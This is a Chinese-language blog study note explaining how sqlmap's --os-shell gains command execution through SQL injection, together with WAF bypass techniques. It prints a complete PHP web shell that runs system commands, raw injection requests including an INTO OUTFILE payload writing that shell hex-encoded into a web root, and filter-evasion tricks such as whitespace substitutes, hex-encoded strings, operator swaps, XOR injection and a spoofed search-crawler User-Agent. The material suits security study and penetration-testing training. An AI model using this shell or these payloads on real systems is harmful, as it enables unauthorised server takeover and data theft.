WEB-漏洞总结(sqlmap的使用和sql过waf)

本文详细介绍了SQLMap工具的–os-shell功能,包括其前提条件、执行流程和如何利用它来执行系统命令。讨论了如何通过上传PHP文件实现命令执行,并展示了SQL注入的示例流量。同时,还提到了一些常见的过滤和绕过方法,如使用特殊字符和十六进制转换。此外,文章还涵盖了空格和单引号的过滤绕过策略。
摘要由CSDN通过智能技术生成

记:

sqlmap的–os-shell原理解析

–os-shell的前提
1.必须是root权限,也就是dba权限 sqlmap用–is-dba判断,返回true就是dba权限

2.知道网站的绝对路径,首先sqlmap会尝试报错去发现绝对路经,如果没发现可以主动选择爆破或者自己输入路径

3.关闭gpc转义,因为shell需要上传2个文件。

具体sqlmap的攻击流程差不多是这样:

  1. 测试链接是否能够访问

  2. 判断操作系统版本

  3. 传递一个数组,尝试爆绝对路径

  4. 指定上传路径

  5. 使用lines terminated by 写入一个php文件,该php文件可以进行文件上传

  6. 尝试找到上传的文件的访问路径;直到找到正确的路径

  7. 通过上传的临时文件,尝试上传另外一个php文件, 该文件可以进行命令执行

  8. 尝试进行命令执行 echo command execution test

  9. 直接输入对应的命令

  10. 退出 -–os-shell后删除命令马

他会先上传一个用于上传文件的php文件,如果选择的是其他语言会生成相对于的,
然后通过这个文件上传一个执行命令并且可以回显的文件,最后进行命令执行和回显

tmpulujm.php这个为上传文件脚本
在这里插入图片描述
tmpbezal.php这个文件可以用来执行系统命令,并且将结果返回出来

1 <?php 
 2 $c=$_REQUEST["cmd"];
 3 @set_time_limit(0);
 4 @ignore_user_abort(1);
 5 @ini_set('max_execution_time',0);
 6 $z=@ini_get('disable_functions');
 7 if(!empty($z))
 8 {
 9     $z=preg_replace('/[, ]+/',',',$z);
10     $z=explode(',',$z);
11     $z=array_map('trim',$z);}
12 else
13     {
14         $z=array();
15         }
16 $c=$c." 2>&1\n";
17 function f($n)
18 {global $z;
19 return is_callable($n)and!in_array($n,$z);
20 }
21 if(f('system'))
22 {ob_start();
23 system($c);
24 $w=ob_get_contents();
25 ob_end_clean();
26 }elseif(f('proc_open')){
27     $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
28     $w=NULL;
29     while(!feof($t[1])){
30         $w.=fread($t[1],512);
31             }
32         @proc_close($y);
33 }
34     elseif(f('shell_exec')){
35     $w=shell_exec($c);
36     }
37     elseif(f('passthru')){
38         ob_start();
39         passthru($c);
40         $w=ob_get_contents();
41         ob_end_clean();
42         }elseif(f('popen')){
43             $x=popen($c,r);
44             $w=NULL;
45             if(is_resource($x)){
46                 while(!feof($x)){
47                 $w.=fread($x,512);
48                     }
49                     }
50                     @pclose($x);
51                     }elseif(f('exec')){
52                         $w=array();
53                         exec($c,$w);
54                         $w=join(chr(10),$w).chr(10);
55                         }else{
56                             $w=0;
57                             }
58                             print "</pre>".$w."</pre>";?>'''

这是执行命令的php脚本,其他语言暂时不研究。

1. id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a767671,(SELECT REPEAT(0x34,1024)),0x7170716271,0x78))s), 8446744073709551610, 8446744073709551610)))-- MBKa&Submit=Submit
2. id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a767671,(SELECT (CASE WHEN (0x57=UPPER(MID(@@version_compile_os,1,1))) THEN 1 ELSE 0 END)),0x7170716271,0x78))s), 8446744073709551610, 8446744073709551610)))-- EJbF&Submit=Submit
 
3. id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a767671,(SELECT REPEAT(0x31,451)),0x7170716271,0x78))s), 8446744073709551610, 8446744073709551610)))-- LNMk&Submit=Submit
4. id=1' LIMIT 0,1 INTO OUTFILE '/var/www/html/hackable/uploads/tmpujout.php' LINES TERMINATED BY 0x3c3f7068702024633d245f524551554553545b22636d64225d3b407365745f74696d655f6c696d69742830293b4069676e6f72655f757365725f61626f72742831293b40696e695f73657428276d61785f657865637574696f6e5f74696d65272c30293b247a3d40696e695f676574282764697361626c655f66756e6374696f6e7327293b69662821656d70747928247a29297b247a3d707265675f7265706c61636528272f5b2c205d2b2f272c272c272c247a293b247a3d6578706c6f646528272c272c247a293b247a3d61727261795f6d617028277472696d272c247a293b7d656c73657b247a3d617272617928293b7d24633d24632e2220323e26315c6e223b66756e6374696f6e206628246e297b676c6f62616c20247a3b72657475726e2069735f63616c6c61626c6528246e29616e6421696e5f617272617928246e2c247a293b7d69662866282773797374656d2729297b6f625f737461727428293b73797374656d282463293b24773d6f625f6765745f636f6e74656e747328293b6f625f656e645f636c65616e28293b7d656c736569662866282770726f635f6f70656e2729297b24793d70726f635f6f70656e2824632c617272617928617272617928706970652c72292c617272617928706970652c77292c617272617928706970652c7729292c2474293b24773d4e554c4c3b7768696c65282166656f662824745b315d29297b24772e3d66726561642824745b315d2c353132293b7d4070726f635f636c6f7365282479293b7d656c73656966286628277368656c6c5f657865632729297b24773d7368656c6c5f65786563282463293b7d656c736569662866282770617373746872752729297b6f625f737461727428293b7061737374687275282463293b24773d6f625f6765745f636f6e74656e747328293b6f625f656e645f636c65616e28293b7d656c7365696628662827706f70656e2729297b24783d706f70656e2824632c72293b24773d4e554c4c3b69662869735f7265736f7572636528247829297b7768696c65282166656f6628247829297b24772e3d66726561642824782c353132293b7d7d4070636c6f7365282478293b7d656c7365696628662827657865632729297b24773d617272617928293b657865632824632c2477293b24773d6a6f696e28636872283130292c2477292e636872283130293b7d656c73657b24773d303b7d7072696e7420223c7072653e222e24772e223c2f7072653e223b3f3e-- -&Submit=Submit

这是sqlmap写shell的流量。

我们可以直接上传大马进行下一步的工作。当然亦可以上传一句话,然后利用菜刀进行连接。

1.空格被拦截

	/**/,/*!*/,%20,%09,%0a,%0b,%0c,%0d,() 

2.单引号被过滤

 将字符转换为16进制
 例如:
 	select * from users where username = 'Dumb';
 	select * from users where username = 0x44756d62;
and = &&
or = ||
xor = |
not = !

白名单爬虫绕过

header={’User-Agent‘:'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'}

异或绕过:Xor 或者 ^ 异或顾名思义,两个条件结果相同为假。不同为真。

1^0为1 1^1 0^0为0。

1‘ and ‘1’='1

注入成功

1’ ^ ‘1’='1

id=1 %26%26 1=1 通过

在这里我们使用&&替换and关键字来做判断

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值